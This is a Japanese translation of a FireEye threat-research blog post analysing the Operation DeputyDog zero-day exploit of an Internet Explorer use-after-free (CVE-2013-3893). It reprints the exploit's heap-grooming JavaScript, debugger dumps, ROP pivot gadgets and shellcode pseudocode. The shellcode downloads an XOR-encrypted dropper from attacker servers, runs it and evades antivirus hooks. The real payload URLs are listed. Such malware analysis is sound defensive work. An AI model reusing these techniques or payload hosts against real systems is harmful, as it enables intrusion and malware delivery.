ブログ(脅威調査)

オペレーションDeputyDog Part 2: 日本をターゲットとした、 ゼロデイ・エクスプロイトの分析について (CVE-2013-3893)

本コンテンツは、2013年9月21日(米国時間)にFireEye, Inc.のブログにて公開された内容を翻訳した物です。 本内容は予告なく更新されている可能性があることをご了承ください。

前回のブログ記事では、FireEyeのネッド・モラン(Ned Moran)とナート・ヴィルヌーブ(Nart Villeneuve)が「オペレーションDeputyDog」という新たに確認されたAPT(Advanced Persistent Threat)攻撃キャンペーンについて詳しく解説しました。この攻撃キャンペーンは、Microsoft Internet Explorerに存在するゼロデイの脆弱性(CVE-2013-3893)を悪用しています。Microsoftはすでに、この脆弱性についてのセキュリティ・アドバイザリ「Fix it」についてのブログ記事を公開しています。

 筆者は、先ごろFireEye Labsに加わった著名なセキュリティ研究者シャオボー・チェン(Xiaobo Chen)と共に、このゼロデイ脆弱性の分析を行いました。今回の記事では、オペレーションDeputyDogがこの脆弱性をどのように悪用しているかについて詳しく解説します。

 オペレーションDeputyDogは標的型攻撃であるにもかかわらず、使用されているエクスプロイトは幅広い言語パック(en、zh、fr、de、ja、pt、ko、ru)とソフトウェアのバージョンを識別します。これらの情報は、適切なROPチェーンを指定するために使われています。またコメントアウトされたコードからは、このエクスプロイトは元々、Windows XPでInternet Explorer(IE)8を使用しているユーザーと、Windows 7でIE 8またはIE 9を使用し、なおかつMicrosoft Office 2007をインストールしているユーザーを標的としていたことがうかがえます。FireEyeのテストでは、Microsoft Office 2007と2010の両方をインストールしているシステムでもエクスプロイトが正常に実行されることが確認されています。

 緩和策

影響を受けるユーザーに推奨される緩和策は、Microsoftの「Fix it」についてのブログ記事に記載されています。

 エクスプロイトとドロッパーの関係

脆弱性の悪用に成功したエクスプロイトは、韓国に置かれたサーバーにホストされている第2のペイロード(218.38.28.99/index/4/img20130829.jpg)をダウンロードするようWebブラウザに命じます。このドロッパー・ファイルの名前はFireEyeのDynamic Threat Intelligence(DTI)には登録されていませんでしたが、ファイル名に含まれるエンコード日はその攻撃の実行日を表しているものと推測されます。

このことから、2013年8月23日の攻撃で使用されたペイロードは、img20130823.jpgというファイル名になっていると予想できます。そこで、これを踏まえて類似のファイル名をDTIで探したところ、案の定、該当するファイル名が見つかりました。この不正な実行可能ファイルは、210.176.3.130/it/img20130823.jpgとして香港のサーバーにホストされていました。拡張子は.jpgとなっていますが、画像ファイルではありません。0×95とのXORをとると、実行可能ファイルに復号化されます(MD5は8aba4b5184072f2a50cbc5ecfe326701)。

 このimg20130829.jpgimg20130823.jpgの間には、関連性があると私たちは結論付けています。理由は次のとおりです。

n  2つのドロッパー・ファイル名はパターンが類似している。

n  次に示すように、2つのドロッパー・ファイルのURIパスは類似しているように見える。

n  img20130829.jpg – <IP>/index/4/

n  img20130823.jpg – <IP>/it/

n  img20130829.jpgを参照する元のエクスプロイト・コードには、「runrun.exe」というファイルへの参照が含まれている。これは、Webブラウザの脆弱性を利用してドロッパーを保存する際に使用されるファイルの名前である。前回の記事で言及した、img20130823.jpgに関係するサンプル645e29b7c6319295ae8b13ce8575dc1dについて、VirusTotalは、元々「runrun.exe」というファイル名で提出されたと報告している。

 バグの内容

CTreeNodeオブジェクトを解放する特定のイベント・コールバックをトリガーすると、参照カウンターを更新しないままCTreeNodeオブジェクトが解放されます。その後、解放されたメモリ領域を使用するためにCElement::Docを呼び出すと、攻撃者のコードが実行される可能性があります。gflagsを設定することにより、windbgでCTreeNodeオブジェクトが破損していることを確認できます(windbgは、オブジェクトのサイズ確認に使用することもできます。http://zhodiac.hispahack.com/index.php?section=blog&month=1&year=2012を参照してください)。

0:008> d esi

04b84fb0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

04b84fc0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

04b84fd0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

04b84fe0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

04b84ff0  0a 12 12 12 02 12 12 12-02 12 12 12 02 12 00 00  ................

04b85000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

04b85010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

04b85020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

 次のヒープ・トレースは、ESIがJavaScriptのストリングによって割り当てられていることを示しています。これは、サンプルによるdiv.title属性を使用したヒープ操作に対応しています。

0:008> !heap -p -a@esi

address 04b84fb0 found in

_DPH_HEAP_ROOT @ 151000

in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)

44cd720:          4b84fb0               50 -          4b84000             2000

7c919c0c ntdll!RtlAllocateHeap+0x00000e64

3cf49046 mshtml!_HeapAllocString+0x00000052

3cf4aa02 mshtml!CAttrValue::InitVariant+0x00000154

3cf46b9d mshtml!CAttrArray::Set+0x00000189

3cf46aeb mshtml!CAttrArray::Set+0x00000051

3cf4ab9c mshtml!CAttrArray::SetString+0x00000044

3cf4ab48 mshtml!BASICPROPPARAMS::SetString+0x00000069

3cf6bdeb mshtml!BASICPROPPARAMS::SetStringProperty+0x00000200

3cf3bc1e mshtml!CBase::put_StringHelper+0x00000064

3cf3bc53 mshtml!CBase::put_String+0x00000029

3cf6bd1b mshtml!GS_BSTR+0x000001ab

3cf8acf3 mshtml!CBase::ContextInvokeEx+0x000005d1

3cf96cc1 mshtml!CElement::ContextInvokeEx+0x0000009d

3cfa29e8 mshtml!CInput::VersionedInvokeEx+0x0000002d

3cf8a6f9 mshtml!PlainInvokeEx+0x000000ea

3ced0591 mshtml!CBase::Invoke+0x0000006e

 コード実行

このサンプルはまず、アドレス0×12121212の後にROPチェーンが続くメモリのチャンクでヒープ・スプレーを行います。ページ境界への合わせが行われている場合、このヒープ・スプレーにより、0×12121202のデータにポインタ0×12121212が格納され、0×12121212からROPチェーンが始まり、0×12121272にピボットが置かれます。

 このサンプルでは、バグを発生させた後のプログラムを制御するため、不適切に解放されたCTreeNodeオブジェクトを上書きする必要があります。そのためにはまず、CTreeNodeオブジェクトのサイズを把握しておく必要があります。このサイズは、IE8では0×50バイト、IE9では0×58バイトです。

 このサンプルは次に、1万個の「div」オブジェクトを割り当て、その「title」属性を、CTreeNodeオブジェクトのサイズを表す文字列に設定します。続いて後半5,000個の「title」属性を「“”」に設定し、これらの属性を解放します。この処理の目的は、断片化が進んでいないヒープを使えるようにし、解放されたブロックの結合を抑制することで、ブロックの再利用を可能にする点にあると考えられます。サンプルは次に、実行されているMicrosoft Officeのバージョンに応じたROPチェーンを使用してヒープ・スプレーを行い、「title」属性を設定した「div」オブジェクトを追加割り当てして、バグを発生させます。これは、解放されたばかりのCTreeNodeオブジェクトが置かれていたメモリ領域を0×12121202で埋めることを狙っています。

このサンプルでは、次のようにして偽のオブジェクトが作成されています。

 if(llle.bok()) // Is the target running IE 8?

{

ccaakk=0x50;

}

if(llle.nine()) // Is the target running IE 9?

{

ccaakk=0x58;

}

var str=S(0×12121202);

while (str.length < ccaakk) str=str+str;

str=str.substr(0,(ccaakk-2)/2);

// init

for (i=0;i<10000;i++) {

vault.push(document.createElement(“div”));

vault[i].setAttribute(“title”,str);

}

// clean the last 5000 div’s title attribute

for (i=5000;i<10000;i++) {

vault[i].setAttribute(“title”,”");

}

// The newly allocated objects hopefully use the above freed memory locations

var tile=new Array();

for (i=0;i<10000;i++) {

tile.push(document.createElement(“div”));

tile[i].setAttribute(“title”,str);

}

改変前後のCTreeNodeオブジェクト:

>> 改変前 <<

eax=00000000 ebx=00000000 ecx=00000000 edx=00200ac8 esi=0020b668 edi=00200ac8

eip=3cf43eb9 esp=0162bdc0 ebp=0162be2c iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

mshtml!CTreeNode::Release+0x27:

3cf43eb9 ff15c813ea3c    call    dword ptr [mshtml!_imp__HeapFree (3cea13c8)] ds:0023:3cea13c8={ntdll!RtlFreeHeap (7c90ff2d)}

0:014> d edx

00200ac8  68 b6 20 00 00 00 00 00-10 64 ff ff ff ff ff ff  h. ......d......

00200ad8  71 05 00 00 08 00 00 00-00 00 00 00 00 00 00 00  q...............

00200ae8  e8 09 20 00 48 e4 55 02-62 00 00 00 00 00 00 00  .. .H.U.b.......

00200af8  00 00 00 00 00 00 00 00-e8 e4 55 02 90 09 20 00  ..........U... .

00200b08  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

00200b18  23 66 a9 ea 00 01 08 ff-02 12 12 12 02 12 12 12  #f..............

00200b28  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

00200b38  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

>> 改変後 <<

(cb4.ca0): Access violation – code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=00000100 ecx=12121202 edx=00000001 esi=00200ac8 edi=00000000

eip=3cf76780 esp=0162ce8c ebp=0162cea0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

mshtml!CElement::Doc:

3cf76780 8b01            mov     eax,dword ptr [ecx]  ds:0023:12121202=????????

0:014> d esi

00200ac8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

00200ad8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

00200ae8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

00200af8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

00200b08  0a 12 12 12 02 12 12 12-02 12 12 12 02 12 00 00  …………….

00200b18  23 66 a9 ea 00 01 08 ff-02 12 12 12 02 12 12 12  #f…………..

00200b28  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

00200b38  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

攻撃者に制御が渡るポイント:

mshtml!CElement::Doc+0x2:

3cf76b82 8b5070          mov     edx,dword ptr [eax+70h]

3cf76b85 ffd2            call    edx

3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]

3cf76b8a c3              ret

CTreeNodeオブジェクトの改変されたCElementポインタは、0×12121202に逆参照されます。ここで、オブジェクトの仮想関数テーブルの代わりに攻撃者が用意したデータが使用され、Windows XPではmsvcrt、Windows 7ではhxdsのピボットに対する呼び出しが行われます。Microsoftのブログ記事でも注目されているように、ここで目を引くのは、ASLRを使用しないhxdsが使われていることです。これにより、hxdsに対するROPチェーンはWindows 7のDEPとASLRをバイパスすることになります。ただしこれは、注目すべき点ではあるものの、テクニックとしてはよく知られたものです。

Windows XP:

msvcrt!_pi_by_2_to_61+0x12db:

77c15ed5 94              xchg    eax,esp

77c15ed6 c3              ret

Windows 7:

hxds!DllGetClassObject+0x11f90:

00000000`51be4a41 94              xchg    eax,esp

00000000`51be4a42 c3              ret

スタック・ポインタが攻撃者のROPチェーンを指すように調整されたところで、次の段階のシェルコードが実行可能ファイルとして実行されます。

シェルコード
シェルコードは、暗号化された実行可能ファイルをrunrun.exeとしてダウンロードした後、各バイトで0×95とのXORをとってメモリ内でファイルを復号化し、再度runrun.exeとして書き込んでから、復号化された実行可能ファイルを実行します。このシェルコードの動作のほとんどは、一般的な作法に従っています。つまり、位置に依存せず、単純なシングルバイトのXORによる暗号化で自身を改変し、メモリ内で文字列をハッシュ化してプロセスのアドレスを取得します。一般的なシェルコードと異なるのは、「フック・ホッピング」と呼ばれるテクニックを使用してWinExecに対する呼び出しの監視を回避する点です。しかも監視を回避していたのは、WinExecに対する最後の呼び出しだけでした。このことから、マルウェア作成者は一部のアンチウイルス製品を標的にしていたと考えられます。なお、各バイトで0×95とのXORをとって暗号化された実行可能ファイルをダウンロードするという方法は、「Aurora」など他のAPT攻撃でも採用されていました。

擬似コード:

# Get path to directory of temporary files

kernel32!GetTempPathA(buf=stack_buffer,size=0x100)

# Add "runrun.exe" to the path

stack_buffer += "runrun.exe"

# Download encrypted executable to "runrun.exe"

urlmon!URLDownloadToFileA( 0,

url = "http://x.x.x.x/a_link_to_an.exe",

filename = stack_buffer,

# = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\runrun.exe" on xp

0,

0)

# Open handle to encrypted executable "runrun.exe"

filehandle = kernel32!CreateFileA( filename = stack_buffer,

access = 0xe0000000,

sharemode = 1,

0,

creationdisposition = 3,

flagsandattributes = 0x80,

0)

# Reset file pointer

kernel32!SetFilePointer(filehandle,0,0,0)

# Get size of file

filesize = kernel32!GetFileSize(filehandle,0)

# Allocate memory large enough to fit the file

filebuffer = kernel32!VirtualAlloc(0,filesize,0x1000,4)

# Read the file into the allocated memory

kernel32!ReadFile(filehandle,filebuffer,filesize,stack_buffer_238,0)

# Decrypt the file

for i in xrange(len(filebuffer)): filebuffer[i] ^= 0x95

# Reset file pointer

kernel32!SetFilePointer(filehandle,0,0,0)

# Write decrypted file back to disk

kernel32!WriteFile(filehandle,filebuffer,filesize, stack_buffer_238,0)

# Close file handle

kernel32!CloseHandle(filehandle)

HookHoppingWinExec = kernel32!WinExec+5

stack_buffer = "\"" + stack_buffer + "\"" (""C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\runrun.exe"")

# Run decrypted file

HookHoppingWinExec(stack_buffer)

このエントリーは Dan Caseldenおよび Xiaobo Chen により、FireEyeのブログカテゴリー、

-       エクスプロイト(http://www.fireeye.com/blog/category/technical/cyber-exploits)、

-       標的型攻撃(http://www.fireeye.com/blog/category/technical/targeted-attack)、

-       テクニカル(http://www.fireeye.com/blog/category/technical)、

-       脆弱性 (http://www.fireeye.com/blog/category/technical/vulnerabilities

に投稿されました。